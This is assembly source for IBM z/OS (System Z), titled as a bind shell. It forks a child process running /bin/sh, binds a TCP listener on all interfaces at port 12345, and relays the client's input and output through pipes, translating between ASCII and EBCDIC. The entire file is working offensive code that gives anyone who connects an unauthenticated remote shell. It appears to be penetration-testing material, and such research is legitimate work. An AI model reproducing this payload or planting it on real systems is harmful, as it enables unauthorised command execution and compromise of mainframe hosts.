TITLE 'bind shell for mainframe/system Z' BINDSH CSECT BINDSH AMODE 31 BINDSH RMODE ANY *********************************************************************** * * * @SETUP registers and save areas * * * *********************************************************************** @SETUP DS 0F # full word boundary STM 14,12,12(13) # save our registers LARL 15,@SETUP # base address into R15 LR 8,15 # copy R15 to R8 USING @SETUP,8 # R8 for addressability throughout LARL 11,SAVEAREA # sa address ST 13,4(,11) # save callers save area LR 13,11 # R13 to our save area DS 0H # halfword boundaries *********************************************************************** * * * @LOADFS - load all the functions we need * * for SC loop this * * * *********************************************************************** @LOADFS L 2,FFUNC # first function we use LHI 3,8 # used for our index L 4,NUMFUNC # number of functions to load @LDLOOP LR 0,2 # load string of func name XR 1,1 # clear R1 SVC 8 # perform LOAD XC 0(8,2),0(2) # clear current Func space ST 0,0(0,2) # store addr in func space AR 2,3 # increment R2 by 8 AHI 4,-1 # decrement R4 CIB 4,0,2,@LDLOOP # compare R4 with 0,if GT loop *********************************************************************** * * * Create pipes to be used to communicate with child proc * * that will be created in upcoming forking * * * *********************************************************************** @CPIPES LARL 14,@CFD BRC 15,LPIPE # get FDs for child proc @CFD ST 5,CFDR # store child read fd ST 6,CFDW # store child write fd @CPIPE2 LARL 14,@PFD BRC 15,LPIPE # get FDs for parent proc @PFD ST 5,PFDR # store parent read fd ST 6,PFDW # store parent write fd *********************************************************************** * * * BP1FRK (FORK) fork a child process * * * *********************************************************************** LFORK L 15,BFRK # load func addr to 15 CALL (15),(CPROCN,RTN_COD,RSN_COD),VL BRAS 0,@PREPCHL **************************************************** * chk return code here anything but -1 is ok * **************************************************** LHI 15,1 # load 1 for RC / Debugging L 6,CPROCN # locad Ret val in R6 CIB 6,-1,8,EXITP # compare R6 to -1 and jump if eq **************************************************** * prepare the child process for exec , only runs * * if CPROCN (child pid from fork) equals 0 * **************************************************** @PREPCHL L 2,CPROCN # load child proc # to R2 CIB 2,0,7,@PREPPAR # R2 not 0? We are parent, move on ************************************************* * order of things to prep child pid * * 0) Close parent write fd * * 1) Close child read fd * * 2) dupe parent read fd to std input * * 3) dupe child write fd to std output * * 4) dupe child write fd to std err * * 5) Close parent read fd * * 6) Close child write fd * * 7) exec /bin/sh * ************************************************* LARL 14,@PRC1 LA 2,F_CLOSFD L 5,PFDW # load R5 with pfdw L 6,PFDW # load R5 with pfdw @PRC0 BRC 15,LFCNTL # call close @PRC1 LARL 14,@PRC2 LA 2,F_CLOSFD L 5,CFDR # load R5 with cfdr L 6,CFDR # load R5 with cfdr BRC 15,LFCNTL # call close @PRC2 LARL 14,@PRC3 LA 2,F_DUPFD2 # gonna do a dup2 L 5,PFDR # parent read fd LGFI 6,0 # std input BRC 15,LFCNTL # call dupe2 @PRC3 LARL 14,@PRC4 LA 2,F_DUPFD2 # gonna do a dup2 L 5,CFDW # child write fd LGFI 6,1 # std output BRC 15,LFCNTL # call dupe2 @PRC4 LARL 14,@PRC5 # if 0 we are in child pid, goto exec LA 2,F_DUPFD2 # gonna do a dup2 L 5,CFDW # child write fd LGFI 6,2 # std error BRC 15,LFCNTL # call dupe2 @PRC5 LARL 14,@PRC6 LA 2,F_CLOSFD L 5,PFDR # load R5 with pfdr L 6,PFDR # load R5 with pfdr BRC 15,LFCNTL # call close @PRC6 LARL 14,@PRC7 LA 2,F_CLOSFD L 5,CFDW # load R5 with cfdw L 6,CFDW # load R5 with cfdw BRC 15,LFCNTL # call close @PRC7 BRAS 0,LEXEC *********************************************************************** * * * BP1EXC (EXEC) execute shell '/bin/sh' * * * *********************************************************************** LEXEC L 15,BEXC # load func addr to 15 CALL (15),(EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL, x EXENVC,EXENVLL,EXENVL, x EXITRA,EXITPLA, x RTN_VAL,RTN_COD,RSN_COD),VL BRAS 0,GOODEX # exit child proc after exec **************************************************** * prepare the parent process to speak with child * * order of things to prep parent pid * * 0) close parent fd read * * 1) close child fd write * * 2) socket,bind,accept,listen,read & write * * 3) set client socked and child fd write * * to non_blocking * **************************************************** @PREPPAR LARL 14,@PRP1 LA 2,F_CLOSFD L 5,PFDR # load R5 with pfdr L 6,PFDR # load R5 with pfdr BRC 15,LFCNTL # call close @PRP1 LARL 14,LSOCK LA 2,F_CLOSFD L 5,CFDW # load R5 with cfdw L 6,CFDW # load R5 with cfdw BRC 15,LFCNTL # call close *********************************************************************** * * * BPX1SOC set up socket - inline * * * *********************************************************************** LSOCK L 15,BSOC # load func addr to 15 CALL (15),(DOM,TYPE,PROTO,DIM,SRVFD, x RTN_VAL,RTN_COD,RSN_COD),VL ******************************* * chk return code, 0 or exit * ******************************* LHI 15,2 L 6,RTN_VAL CIB 6,0,7,EXITP # R6 not 0? Time to exit *********************************************************************** * * * BPC1BND (bind) bind to socket - inline * * * *********************************************************************** LBIND L 15,BBND # load func addr to 15 LA 5,SRVSKT # addr of our socket USING SOCKADDR,5 # layout sockaddr over R5 XC SOCKADDR(16),SOCKADDR # zero sock addr struct MVI SOCK_FAMILY,AF_INET # family inet MVI SOCK_LEN,SOCK#LEN # len of socket MVC SOCK_SIN_PORT,LISTSOCK # list on PORT 12345 MVC SOCK_SIN_ADDR,LISTADDR # listen on 0.0.0.0 DROP 5 CALL (15),(SRVFD,SOCKLEN,SRVSKT, x RTN_VAL,RTN_COD,RSN_COD),VL ******************************* * chk return code, 0 or exit * ******************************* LHI 15,3 L 6,RTN_VAL CIB 6,0,7,EXITP # R6 not 0? Time to exit *********************************************************************** * * * BPX1LSN (listen) listen on created socket - inline * * * *********************************************************************** LLIST L 15,BLSN # load func addr to 15 CALL (15),(SRVFD,BACKLOG, x RTN_VAL,RTN_COD,RSN_COD),VL ******************************* * chk return code, 0 or exit * ******************************* LHI 15,4 L 6,RTN_VAL CIB 6,0,7,EXITP # R6 not 0? Time to exit *********************************************************************** * * * BPX1ACP (accept) - accept conn from socket - inline * * * *********************************************************************** LACPT L 15,BACP # load func addr to 15 LA 5,CLISKT # addr of our socket address USING SOCKADDR,5 # set up addressing for sock struct XC SOCKADDR(8),SOCKADDR #zero sock addr struct MVI SOCK_FAMILY,AF_INET MVI SOCK_LEN,(SOCK#LEN+SOCK_SIN#LEN) DROP 5 CALL (15),(SRVFD,CLILEN,CLISKT, x CLIFD,RTN_COD,RSN_COD),VL **************************************************** * chk return code here anything but -1 is ok * **************************************************** LHI 15,5 L 6,CLIFD CIB 6,-1,8,EXITP # R6 = -1? Time to exit **************************************************** * Set clifd and child fd read to non_blocking * **************************************************** @SNB1 LARL 14,@SNB2 LA 2,F_GETFL # get file status flags L 5,CLIFD # client sock fd XR 6,6 # for getfd, arg is 0 BRC 15,LFCNTL # call dupe2 @TFLAG DC F'0' @SNB2 ST 7,@TFLAG # R7 will have our flags LA 5,O_NONBLOCK # add non-blocking flag OR 7,5 # or to add the flag to R7 LARL 14,@SNB3 LA 2,F_SETFL # set file status flags L 5,CLIFD # client sock fd LR 6,7 # put new flags in R6 BRC 15,LFCNTL # call dupe2 @SNB3 LARL 14,@SNB4 LA 2,F_GETFL # get file status flags L 5,CFDR # child fd read XR 6,6 # for getfd, arg is 0 BRC 15,LFCNTL # call dupe2 @SNB4 ST 7,@TFLAG # R7 will have our flags LA 5,O_NONBLOCK # add non-blocking flag OR 7,5 # or to add the flag to R7 LARL 14,@READCLI # when we ret, enter main loop LA 2,F_SETFL # set file status flags L 5,CFDR # child fd read LR 6,7 # put new flags in R6 BRC 15,LFCNTL # call dupe2 *********************************************************************** * * * Main read from client socket looop starts here * * * *********************************************************************** @READCLI L 5,CLIFD # read from CLIFD LA 7,@READCFD # Nothing read, return to here LARL 14,@A2E1 # Bytes read, return to here BRC 15,LREAD # Brach to read function ******************************* * CALL A2E * * change CLIBUF from * * ASCII to EBCDIC * ******************************* @A2E1 LARL 14,@CCW1 # load return area in r14 BRC 15,CONVAE # call e2a func @CCW1 LARL 14,@READCFD # after write, read child fd L 5,PFDW # write to child process fd BRC 15,LWRITE # call write function *********************************************************************** * * * Read from child fd loop starts here * * * *********************************************************************** @READCFD L 5,CFDR # read from child fd LA 7,@READCLI # nothing read, back to socket read LARL 14,@E2A1 # Bytes read, return to here BRC 15,LREAD # Branch to read function ******************************* * CALL E2A * * change CLIBUF from * * EBCIDIC to ASCII * ******************************* @E2A1 LARL 14,@CCW2 # load return area in r14 BRC 15,CONVEA # call e2a func @CCW2 LARL 14,@READCFD # loop read child proc fd after write L 5,CLIFD # write to client socked fd BRC 15,LWRITE # call write function ******************************************************** * Functions beyond this point, no more inline * * execution beyond here should occur * ******************************************************** *********************************************************************** * * * BPX1RED (read) - function * * R5 has file descriptor to read from * * R7 has nothing read address * * R14 has good read return address * * * *********************************************************************** LREAD L 15,BRED # load func addr to 15 ST 5,@TRFD # file descriptor we are reading ST 7,@NRA # no bytes read: return address ST 14,SAVEAREA # bytes read: return address XR 1,1 # clear R1 ST 1,BREAD # clear Bytes Read L 5,CLIBUF # clibuf addr XC 0(52,5),0(5) # 0 out cli buf BRAS 0,@CRED # jump to call @TRFD DC 4XL1'0' # temp var for rd to read @NRA DC 4XL1'0' # temp var for not read ret addr @CRED CALL (15),(@TRFD,CLIBUF,ALET,CLIREAD, x BREAD,RTN_COD,RSN_COD),VL **************************************************** * chk return code here anything but -1 is ok * * for non-blocking fd's we have to check * * both the return val and code to make sure * * it didn't fail just b/c non-blocking and no * * data available vs just a read error * **************************************************** L 14,SAVEAREA # bytes read RA L 7,@NRA # no bytes read RA LHI 15,6 # exit code for this function L 6,BREAD # bytes read (aka rtn val) CIB 6,0,2,0(14) # bytes read, process them CIB 6,0,8,0(7) # OK rtn code, on to nobyte read L 6,RTN_COD # load up return code LA 1,EWOULDBLOCK # load up the non-blocking RTNCOD LA 2,EAGAIN # load up the other OK nblck RTNCOD CRB 6,1,8,0(7) # OK rtn code, on to nobyte read CRB 6,2,8,0(7) # OK rtn code, on to nobyte read BRAS 0,EXITP # -1 and not due to blocking, exit *********************************************************************** * * * BPX1WRT (WRITE) - function * * R5 has file descriptor to read from * * * *********************************************************************** LWRITE L 15,BWRT # load func addr to 15 ST 5,@TWFD # store fd in temp fd ST 14,SAVEAREA # save return address BRAS 0,@CWRT # jump to write @TWFD DC A(*) # temp holder for fd @CWRT CALL (15),(@TWFD,CLIBUF,ALET,BREAD, x BWRIT,RTN_COD,RSN_COD),VL ************************************************************** * chk return code here anything but neg 1 is ok * * exit if a match (8) * ************************************************************** L 14,SAVEAREA # restore return address LHI 15,9 # exit code for this func L 6,BWRIT # set r6 to rtn val CIB 6,-1,8,EXITP # exit if R6 = -1 BCR 15,14 # back to return address *********************************************************************** * * * BPX1FCT (fcntl) edit file descriptor * * for dup2 set R2=F_DUPFD2 * * R5=fd to modify R6=fd to set R5 equal to * * equivalent to dupe2(R5,R6) * * for read flags, set R2=F_GETFL * * R5=fd, R6=0, R7=rtn flags * * for write flags, set R2=F_SETFL * * R5=fd, R6= R7=0 * * for close, set R2=F_CLOSFD * * R5=R6 = fd to close (optionally R5 & R6 can be a range * * of FDs to close) * * * *********************************************************************** LFCNTL L 15,BFCT # load func addr to 15 ST 14,SAVEAREA # save return address ST 5,@FFD # fd to be duplicated ST 2,@ACT # action field for BPX1FCT ST 6,@ARG # r6 should have the biggest fd BRAS 0,@FCTL @FFD DC F'0' @ACT DC F'0' @ARG DC F'0' @RETFD DC F'0' @FCTL CALL (15),(@FFD,@ACT,@ARG,@RETFD,RTN_COD,RSN_COD),VL **************************************************** * chk return code here anything but -1 is ok * **************************************************** LHI 15,11 # exit code for this func L 7,@RETFD # set r6 to rtn val CIB 7,-1,8,EXITP # r6 = -1 exit L 14,SAVEAREA # reload ret address BCR 15,14 # return to caller *********************************************************************** * * * BPX1PIP (pipe) create pipe - no input * * returns: R5=read fd R6=write fd * * * *********************************************************************** LPIPE L 15,BPIP # load func addr to 15 ST 14,SAVEAREA # save return address BRAS 0,@PIP @RFD DC F'0' # read file desc @WFD DC F'0' # write file desc @PIP CALL (15),(@RFD,@WFD,RTN_VAL,RTN_COD,RSN_COD),VL **************************************************** * chk return code here anything but -1 is ok * **************************************************** LHI 15,12 # exit code for this func L 6,BWRIT # set r6 to rtn val CIB 6,-1,8,EXITP L 5,@RFD # load R5 with read fd L 6,@WFD # load R6 with write fd L 14,SAVEAREA # reload ret address BCR 15,14 # return to caller *********************************************************************** * * * CONVAE - convert CLIBUF ascii to ebcidic * * function looks up ascii byte and returns ebcdic * * expects return address in R14 * * * *********************************************************************** CONVAE LHI 6,1 # R6 has number 1 L 4,BREAD # num of bytes read L 1,CLIBUF # address of cli sock input LOOP1 L 2,A2E # address of a2e buff SR 2,6 # subtract 1 from R2 addr LB 3,0(0,1) # Load byte from cli into R3 NILF 3,X'FF' # make sure R3 is 1 positive byte AR 2,3 # add ascii val to a2e buff LB 3,0(0,2) # load byte from a2e buff into R3 NILF 3,X'FF' # make sure R3 is 1 positive byte STC 3,0(0,1) # store R3 byte back into cli buff AR 1,6 # increment client buff SR 4,6 # sub1 from ctr, loop if non-neg BRC 7,LOOP1 # looop BCR 15,14 # return to caller *********************************************************************** * * * CONVEA - convert CLIBUF ebcidic to ascii * * function looks up ebcidic byte and returns ascii * * expects return address in R14 * * * *********************************************************************** CONVEA LHI 6,1 # R6 has number 1 L 4,BREAD # num of bytes read L 1,CLIBUF # address of cli sock input LOOP2 L 2,E2A # address of e2a buff SR 2,6 # subtract 1 from R2 addr LB 3,0(0,1) # Load byte from cli into R3 NILF 3,X'FF' # make sure R3 is 1 positive byte AR 2,3 # add ascii val to e2a buff LB 3,0(0,2) # load byte from e2a buff into R3 STC 3,0(0,1) # store R3 byte back into cli buff NILF 3,X'FF' # make sure R3 is 1 positive byte AR 1,6 # increment client buff SR 4,6 # sub1 from ctr, loop if non-neg BRC 7,LOOP2 # looop BCR 15,14 # return to caller **************************************************** * cleanup & exit * * preload R15 with exit code * **************************************************** GOODEX XR 15,15 # zero return code EXITP ST 15,0(,11) L 13,4(,11) LM 14,12,12(13) # restore registers LARL 5,SAVEAREA L 15,0(0,5) BCR 15,14 # branch to caller ********************** ********************** * * * Constant Sections * * * ********************** ********************** @CONST DS 0F # constants full word boundary SAVEAREA DC X'00000000' DC X'00000000' ALET DC F'0' O_NONBLOCK EQU X'04' # bit for nonblocking io EWOULDBLOCK EQU X'44E' # rtncod for nonblk read sock EAGAIN EQU X'70' # rtncod for nonblk, not thr ************************* * Function addresses * # pipe variables ************************* FFUNC DC A(BFRK) # address of first function NUMFUNC DC F'11' # number of funcs listed below BFRK DC CL8'BPX1FRK ' # Fork BEXC DC CL8'BPX1EXC ' # Exec BSOC DC CL8'BPX1SOC ' # Socket BBND DC CL8'BPX1BND ' # Bind BLSN DC CL8'BPX1LSN ' # Listen BACP DC CL8'BPX1ACP ' # Accept BRED DC CL8'BPX1RED ' # Read BWRT DC CL8'BPX1WRT ' # Write BCLO DC CL8'BPX1CLO ' # Close BFCT DC CL8'BPX1FCT ' # Fcntl BPIP DC CL8'BPX1PIP ' # Pipe ************************* * Socket conn variables * # functions used by pgm ************************* LISTSOCK DC XL2'3039' # port 12345 LISTADDR DC XL4'00000000' # address 0.0.0.0 BACKLOG DC F'1' # 1 byte backlog DOM DC A(AF_INET) # AF_INET = 2 TYPE DC A(SOCK#_STREAM) # stream = 1 PROTO DC A(IPPROTO_IP) # ip = 0 DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1 SRVFD DC A(*) # server FD SRVSKT DC 16XL1'77' # srv socket struct SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN) CLILEN DC A(*) # len of client struct CLISKT DC 16XL1'88' # client socket struct CLIFD DC A(*) # client fd ************************ * BPX1PIP vars ********* # pipe variables ************************ CFDR DC F'0' # child proc FD read CFDW DC F'0' # child proc FD write PFDR DC F'0' # parent proc FD read PFDW DC F'0' # parent proc FD write ************************ * BPX1FRK vars ********* ************************ CPROCN DC F'-1' # child proc # ************************ * BPX1EXC vars ********* ************************ EXCMD DC CL7'/bin/sh' # command to exec EXCMDL DC A(L'EXCMD) # len of cmd to exec EXARGC DC F'1' # num of arguments EXARG1 DC CL2'sh' # arg 1 to exec EXARG1L DC A(L'EXARG1) # len of arg1 EXARGL DC A(EXARG1) # addr of argument list EXARGLL DC A(EXARG1L) # addr of arg len list EXENVC DC F'0' # env var count EXENVL DC F'0' # env var arg list addr EXENVLL DC F'0' # env var arg len addr EXITRA DC F'0' # exit routine addr EXITPLA DC F'0' # exit rout parm list addr ************************** * Socket read/write vars * ************************** CLIREAD DC A(L'@CBUF) # one less than buf CLIBUF DC A(@CBUF) # buff for read cli sock @CBUF DC 52XL1'22' BREAD DC F'0' # bytes read BWRIT DC F'0' # bytes written ********************* * Return value vars * ********************* RTN_VAL DC A(*) # return value RTN_COD DC A(*) # return code RSN_COD DC A(*) # reason code *************************** ***** end of constants **** *************************** **************************************************** * ebcidic to ascii lookup * * read hex(ebcidic char) bytes from beginning of * * array to get ascii byte * **************************************************** E2ABUF DC X'0102039c09867f978d8e0b0c0d0e0f101112139d0a08871819928fX 1c1d1e1f808182838485171b88898a8b8c0506079091169394959604X 98999a9b14159e1a20a0e2e4e0e1e3e5e7f1a22e3c282b7c26e9eaebX e8edeeefecdf21242a293b5e2d2fc2c4c0c1c3c5c7d1a62c255f3e3fX f8c9cacbc8cdcecfcc603a2340273d22' DC X'd8616263646566676869abbbf0fdfeb1b06a6b6c6d6e6f707172aaX bae6b8c6a4b57e737475767778797aa1bfd05bdeaeaca3a5b7a9a7b6X bcbdbedda8af5db4d77b414243444546474849adf4f6f2f3f57d4a4bX 4c4d4e4f505152b9fbfcf9faff5cf7535455565758595ab2d4d6d2d3X d530313233343536373839b3dbdcd9da' DC X'9f' E2A DC A(E2ABUF) **************************************************** * ascii to ebcidic lookup * * read hex(ascii char) bytes from beginning of * * array to get ebcidic byte * **************************************************** A2EBUF DC X'010203372d2e2f1605150b0c0d0e0f101112133c3d322618193f27X 1c1d1e1f405a7f7b5b6c507d4d5d5c4e6b604b61f0f1f2f3f4f5f6f7X f8f97a5e4c7e6e6f7cc1c2c3c4c5c6c7c8c9d1d2d3d4d5d6d7d8d9e2X e3e4e5e6e7e8e9ade0bd5f6d79818283848586878889919293949596X 979899a2a3a4a5a6a7a8a9c04fd0a107' DC X'202122232425061728292a2b2c090a1b30311a333435360838393aX 3b04143eff41aa4ab19fb26ab5bbb49a8ab0caafbc908feafabea0b6X b39dda9b8bb7b8b9ab6465626663679e687471727378757677ac69edX eeebefecbf80fdfefbfcbaae594445424643479c4854515253585556X 578c49cdcecbcfcce170dddedbdc8d8e' DC X'df' A2E DC A(A2EBUF) BPXYSOCK LIST=YES # MACRO MAP for socket structure BPXYFCTL LIST=YES # MACRO MAP for fcntl structure END @SETUP